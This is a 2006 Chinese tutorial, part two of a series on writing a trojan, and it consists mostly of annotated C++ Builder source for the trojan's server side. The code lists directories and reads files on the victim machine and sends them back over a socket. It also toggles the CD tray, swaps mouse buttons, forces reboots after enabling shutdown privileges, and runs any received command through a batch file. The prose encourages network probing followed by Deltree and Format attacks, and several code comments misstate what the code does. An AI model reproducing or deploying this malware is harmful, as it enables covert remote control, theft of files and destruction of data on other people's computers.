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 木马是如何编写的(二)

作者来源: 
阅读 数 534 人次 , 2006-4-20 10:00:00 

这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰:

{

else if(temp.SubString(0,3)=="dir")

{

//如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

//得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

//从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

//如果目录名为空

Socket->SendText("Fail By Open DIR's Name");

//返回“Fail By Open DIR's Name”信息

goto END;

//跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

//如果打开目录出错

Socket->SendText("Fail by your DIR's name!");

//返回“Fail By Your DIR's Name”信息

goto END;

//跳到END

}

times_of_try=0;

while(fp==NULL)

{

//如果指针是NULL

fp=fopen(TempFile,"w+");

//就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已经试了100次了,仍未成功(真有耐心!)

Socket->SendText("Fail By Open File");

//就发回“Fail By Open File”的错误信息

goto END;

//并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

//如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

//如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();

//加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent->d_name).c_str();

//如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

//得到目标文件的访问属性

if (attrib & FA_RDONLY)

//“&”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

//将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

//失败则写入空格

if (attrib & FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

//将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

//将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_ARCH)

fwrite("A",sizeof(char),1,fp);

//将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

//失败则写入空格

if (attrib & FA_DIREC)

fwrite("

",sizeof(char),9,fp);

//将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

//失败则写入空格

fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

//将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

//写入换行

}

fclose(fp);

//关闭文件

closedir(dir);

//关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

//打开Win369.bat准备读

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已经试了100次了,仍未成功

Socket->SendText("Fail By Open File");

//就发回“Fail By Open File”的错误信息

goto END;

//并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content='\0';

//定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

//从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

//Return_Text变量加上刚才的300个字符

for(int i=0;i<300;i++) temp_content='\0';

Read_Num=fread(temp_content,1,300,fp1);

//重复

};

Return_Text=Return_Text+temp_content;

//Return_Text变量加上刚才的300个字符

fclose(fp1);

//关闭目标文件

Socket->SendText(Return_Text);

//返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

//如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

//将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

//打开目标文件准备读

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

//如果已试了100次了

Socket->SendText("Fail By Open File");

//返回“Fail By Open File”的错误信息

goto END;

//跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i<300;i++) temp_content='\0';

//定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

//从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

//Return_Text的内容加上刚才的字符

for(int i=0;i<300;i++) temp_content='\0';

Read_Num=fread(temp_content,1,300,fp);

//重复

};

Return_Text=Return_Text+temp_content;

//Return_Text的内容加上刚才的字符

fclose(fp);

//关闭目标文件

Socket->SendText(Return_Text);

//返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

//如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

//就弹出光驱的托盘

}

else if(temp=="close")

{

//如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

//就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

//交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

//如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

//得到操作系统的版本号

if (dwVersion < 0x80000000)

{

//操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

//定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

//OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

//GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);

//LookupPrivilegeValue()的作用是修改进程的权限

tkp.PrivilegeCount = 1;

//赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

//AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);

//强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

//强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

//如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

//创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

//计数器加1

if(times_of_try>100)

{

Socket->SendText("Fail By Open File");

//返回“Fail By Open File”的信息

goto END;

//跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

//写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

//写入换行符

fclose(fp);

//关闭Win369.bat

system(TempFile);

//执行Win369.bat

Socket->SendText("Success");

//返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)   
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